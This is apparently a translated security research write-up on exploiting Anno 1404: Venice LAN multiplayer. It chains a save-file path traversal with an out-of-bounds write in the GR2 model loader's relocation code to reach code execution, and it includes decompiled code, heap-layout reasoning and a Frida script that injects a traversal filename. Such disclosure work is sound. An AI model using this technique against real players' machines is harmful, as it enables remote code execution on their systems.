利用 Anno 1404
作者: Thomas Dubier - 2025年12月16日 - 发表于漏洞利用
Anno 1404是由Related Designs开发、育碧发行的策略游戏。这是一款专注于城市管理与建设的即时战略游戏。2010年发布的《Anno 1404:威尼斯》资料片包含在线和局域网多人游戏模式。在我们的研究中,发现了多个漏洞,组合利用这些漏洞可以在多人游戏模式下实现任意代码执行。
目录
引言
《Anno 1404:威尼斯》是一款可在多个平台(包括Steam、育碧Connect和GOG.com)上玩的策略游戏。我们的研究基于GOG上提供的DRM-free版本v2.01.5010。在此版本中,仅局域网多人游戏模式可用。
Anno 1404 菜单
多人游戏模式允许玩家保存游戏并在稍后继续。每个客户端和主机都会创建一个保存文件(扩展名为.sww)。当客户端连接到正在运行已保存游戏的主机时,该文件会自动从主机传输到客户端。这为漏洞研究提供了有趣的机会:文件是如何传输的?对允许的文件有任何限制吗?专有的保存文件格式也可能是一个有趣的攻击面。另一个有趣的点是,如下图所示,该进程是32位的,并且没有启用任何缓解措施。
通过System Informer查看的缓解措施列表
在启用3D加速的VirtualBox虚拟机中启动游戏时存在一些图形兼容性问题。可以通过文件%APPDATA%\Ubisoft\Anno1404Addon\Config\Engine.ini强制指定DirectX版本来修复此问题。
1
2
3
4
|
<UseDDSTextures>1</UseDDSTextures>
<DirectXVersion>9</DirectXVersion> <!-- 强制使用 DirectX 9 -->
<EnableTextureMemoryManagement>0</EnableTextureMemoryManagement>
<EnableModelMemoryManagement>0</EnableModelMemoryManagement>
|
网络协议
该游戏主要使用C++开发。然而,RTTI(运行时类型信息)和DLL导出的函数名称使逆向工程工作变得更容易。在网络方面,游戏使用其自己基于UDP的协议。该协议在NetComEngine3.dll中实现。我们首先尝试列出服务器和客户端之间交换的不同消息。我们特别关注了RMC类型的消息,因为它们提供了对大型攻击面的访问。根据下面方法中的日志字符串,程序通过RPC(远程过程调用)系统暴露对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
char __stdcall RMC_CallMessage(ByteStream *input, char a3, ByteStream *source, WString *a5)
{
ByteStream *v4; // esi
unsigned int targetObject; // ebp
const wchar_t *v6; // eax
const wchar_t *targetName; // [esp-Ch] [ebp-24h]
const wchar_t *methodName; // [esp-8h] [ebp-20h]
unsigned int v10; // [esp+8h] [ebp-10h] BYREF
ByteStream *v11; // [esp+Ch] [ebp-Ch] BYREF
int Flags; // [esp+10h] [ebp-8h] BYREF
int methodID; // [esp+14h] [ebp-4h] BYREF
v4 = input;
Flags = 0;
v11 = 0;
v10 = 0;
ByteStream::ReadElements(input, &input, 2, 1);
ByteStream::ReadElements(v4, &Flags, 4, 1);
ByteStream::ReadInteger(v4, (unsigned int *)&v11);
ByteStream::ReadInteger(v4, &v10);
ByteStream::ReadElements(v4, &methodID, 2, 1);
if ( (_BYTE)source )
{
targetObject = v10;
source = v11;
methodName = ClassToMethodName(&v10, methodID);
targetName = TargetName(&v10);
v6 = TargetName(&v11);
WString::Format(
a5,
(wchar_t *)L"RMC_CALL message RMC_ID: %d, Flags: %d, Source: %x (%s), TargetObject: %x (%s), Method: %s",
(unsigned __int16)input,
Flags,
source,
v6,
targetObject,
targetName,
methodName);
}
if ( a3 )
return sub_100633D0((int)v4, (unsigned __int16 *)&input, &v11, &Flags, &v10, (__int16 *)&methodID);
else
return 1;
}
|
根据RMC_CallMessage函数中显示的日志消息,RMC消息由以下字段组成:ID、Flags、Source、TargetObject和Method。暴力破解所有可能的类和方法ID可以穷举通过此类消息可访问的攻击面。为了实现这一点,编写了一个Frida脚本explore-surface.js,其输出显示在下面段落中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
> frida -l explore-surface.js Addon.exe
800000 = RootDO
c00000 = Station
- 10 = SignalAsFaulty
1000000 = Session
- 8 = RetrieveURLs
- 9 = SynchronizeTermination
1400000 = IDGenerator
- 4 = RequestIDRangeFromMaster
1800000 = PromotionReferee
- 5 = ConfirmElection
- 6 = DeclinePromotion
- 7 = ElectNewMaster
3000000 = DefaultCell
4800000 = SessionClock
- 11 = AdjustTime
- 12 = SyncRequest
- 13 = SyncResponse
7400000 = Player
- 16 = ForceKickPlayer
- 17 = Kick
- 18 = OnCancelSendFile
- 19 = OnReceivedFileData
- 20 = OnSendFileData
- 21 = OnSendFileInit
7800000 = Chat
- 14 = onNewChatLine
7c00000 = GameSettings
- 15 = ExecuteOnHost
8000000 = SyncProtocol
- 22 = ClientToServerPing
- 23 = ClientToServerSync
- 24 = ConfirmHost
- 25 = IdentifyHost
- 26 = LeftGame
- 27 = RequestMsgResend
- 28 = ServerToClientPing
- 29 = ServerToClientSync
|
该脚本显示每个对象的有效ID和名称,以及每个有效方法的ID和名称。我们发现了与文件传输相关的方法,特别是OnSendFileData、OnSendFileInit、OnReceivedFileData和OnCancelSendFile。
在服务器端,方法rd::netcom3::CNetComEngine3::sendFile用于向客户端发送文件。一个初始的"OnSendFileInit"数据包被发送到客户端,其中包含保存游戏的名称(默认为Sauvegarde.sww)。我们可以使用Frida在保存文件名中添加多个../来测试客户端的行为。此脚本可在附录中找到。
路径遍历漏洞演示
如上所示,保存文件被记录在C:\User\user而不是C:\Users\user\Documents\ANNO 1404 Venise\Savegames\MPShare。看起来客户端没有对文件名进行验证。这第一个漏洞(路径遍历)允许我们以应用程序的权限在系统上几乎任何位置(中等完整性级别和标准用户ACL)放置文件。游戏安装文件夹上的ACL(访问控制列表)是宽松的,这使得用户程序可以在那里存放任何文件。
安装目录上的权限
在Windows上,动态链接库首先从应用程序目录加载,然后从系统目录加载。我们可以放置一个DLL,该DLL将在下次启动游戏时被加载。如果游戏重启,这允许任意代码执行。我们现在将尝试在无需重启游戏的情况下实现代码执行。主要思路是用损坏的资源替换某个资源。
RDA格式
《纪元》游戏系列使用RDA格式来存储各种游戏资源(3D模型、声音、纹理、地图等)。这些存档位于addon和maindata文件夹中。像RDAExplorer这样的工具允许你探索、提取和修改这些存档的内容。
RDA Explorer 版本 1.4.0.0
RDA格式没有官方文档,但GitHub上有逆向工程工作的文档可供参考。
简而言之,RDA文件被划分为可变大小的链式块。每个块包含一定数量的文件及其压缩后的元数据。文件的元数据特别指定了它在存档中的位置和大小。数据使用DEFLATE算法进行压缩,该算法在zlib库中实现。下图总结了RDA存档的结构。
RDA格式
根据元数据中的标志字段,某些块可能被加密。所使用的加密基于XOR操作和用常量初始化的伪随机数生成器。解密函数的伪代码如下所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
char __cdecl xor_decrypt(wchar_t *buf, unsigned int size)
{
signed int index; // esi
srand(0xA2C2Au);
index = 0;
if ( size >> 1 )
{
do
buf[index++] ^= rand();
while ( index < (int)(size >> 1) );
}
return 1;
}
|
使用Process Monitor,我们可以观察到对存档的大量读取访问。因此,元数据很可能在游戏启动时加载到内存中。文件内容本身则只在需要时才加载到内存中。我们观察到在多人游戏期间会加载许多.gr2文件。
GR2格式
.gr2文件是以Granny Studio开发的专有格式保存的3D模型。该格式在那个时代的许多视频游戏中都有使用,例如MMORPG《仙境传说》。围绕该游戏的社区已在GitHub上部分记录了该格式。《纪元1404》使用一个名为granny2.dll的独立库来操作这些文件。简而言之,该格式可以在不同部分存储有关网格、骨骼、纹理和材质的信息。下图显示了一个.gr2文件的结构。
GR2格式
函数GrannyReadEntireFile用于将Granny 3D文件加载到内存中。程序首先读取文件头和节表。每个节被解压缩,然后加载到内存中(通过malloc为每个节保留空间)。
之后,程序为每个节应用重定位表。我们认为节可以包含对其他节中对象的引用。由于节没有映射到固定地址,库会更新这些引用。
重定位表中的条目由三个元素组成:
- 节内偏移:将要更新的引用的位置(相对于与重定位表关联的节的起始位置)。
- 节号:标识包含目标对象的节。
- 偏移量:引用对象相对于与对象关联的节的起始位置。
漏洞
在研究重定位应用机制时,我们发现了一个漏洞。重定位表中的条目没有经过验证,具体来说:
SectionIndex成员未检查,这可能导致从数组(包含每个节的基本地址)越界读取。[1]
SectionOffset成员未检查,这可能导致向目标数组越界写入。[2]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int *__cdecl GrannyGRNFixUp_0(DWORD RelocationCount, Relocation *PointerFixupArray, int *array, char *destination)
{
int *result; // eax
DWORD v6; // ebp
Relocation *v7; // ecx
int v8; // edx
result = (int *)RelocationCount;
if ( RelocationCount )
{
v6 = RelocationCount;
do
{
v7 = PointerFixupArray;
v8 = array[PointerFixupArray->SectionNumber]; // [1] 越界读取
result = (int *)&destination[PointerFixupArray->SectionOffset]; // [2] 计算写入地址
++PointerFixupArray;
*result = v8; // [2] 越界写入
if ( v8 )
*result = v8 + v7->Offset;
--v6;
}
while ( v6 );
}
return result;
}
|
如果我们知道节的内存地址(destination),我们可以设想构建一个任意内存写入的原语。然而,由于ASLR,节并不总是驻留在相同的地址。
利用
可以实现一种有趣的内存配置,其中节地址数组位于第一个内存节的数据之前。在这种情况下,节指针数组和节内容之间的偏移量是已知的。
要执行两个相邻的分配,需要了解Windows 10堆的一些工作原理细节。关于Windows 10段堆内部的论文很好地解释了底层机制。有两种类型的分配器:NT堆(在我们的案例中使用)和段堆。NT堆分为两个组件:
- LFH(低碎片堆):用于小尺寸分配。
- 后端:用于较大尺寸分配。
决定使用哪个分配器的阈值由ntdll.dll中RtlpAllocateHeapInternal函数内的常量RtlpLargestLfhBlock定义。该值等于0x4000。自Windows 8起,LFH受到分配随机化的影响,这意味着我们无法保证一个数据块会分配在另一个数据块旁边,这使得利用不可靠。然而,后端分配器具有确定性的行为。
因此,我们使用一个包含许多节的.gr2文件,以便节指针数组被分配在一个大于0x4000字节的块大小中。为了填补堆中的任何空洞,创建了几个.gr2文件。这有助于提高漏洞利用的可靠性。下图表示节加载到内存后文件在内存中的布局。
内存布局
节数组覆盖示意图
GrannyFile结构的大小取决于节的数量。因此,当节数量 n = 2720 时,我们获得所需的大小:
1
|
0x20 + 0x20 + n * 1 + n * 1 + n * 4 = 0x4000
|
第一小节的重定位表被构造为修改SectionContentArray[1]指针。granny.dll库中的分配器依赖于Windows分配器,但添加了一个0x1F字节的头部。Windows分配器本身添加了0x10字节的头部,并且分配大小会与8或16字节对齐(取决于系统类型,32位或64位)。因此,偏移量-0x3FF0(0x4000 - 0x20 - 0x20 + 0x30)允许写入到SectionContentArray中。
建立写入原语
现在既然已知第二个节的地址,我们可以利用应用于第二个节的重定位表向内存写入任意值。granny.dll库不受ASLR(地址空间布局随机化)的影响,并且DEP(数据执行保护)未启用。因此,我们可以替换库中的alloc/free回调来执行代码。
概念验证
我们成功地在Windows 10(版本 10.0.19045.2965)上利用这些漏洞。
视频文件
附录
测试路径遍历漏洞的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
const ByteStreamWriteStringPtr = ptr('0x1003A250');
const ByteStreamWriteStringFn = new NativeFunction(ByteStreamWriteStringPtr,'pointer',['pointer','pointer'])
const mem = Memory.alloc(1024);
mem.writeUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(ByteStreamWriteStringFn, {
onEnter(args) {
if(args[1].readPointer().readUtf16String().includes('Sauvegarde.sww'))
{
console.log(hexdump(args[1].readPointer(), {
offset: 0,
length: 256,
header: true,
ansi: true
}));
args[1].writePointer(mem);
console.log(hexdump(args[1].readPointer(), {
offset: 0,
length: 256,
header: true,
ansi: true
}));
}
}
});
|
参考资料
- RDA文件格式
- GR2格式文档
- Windows 10段堆内部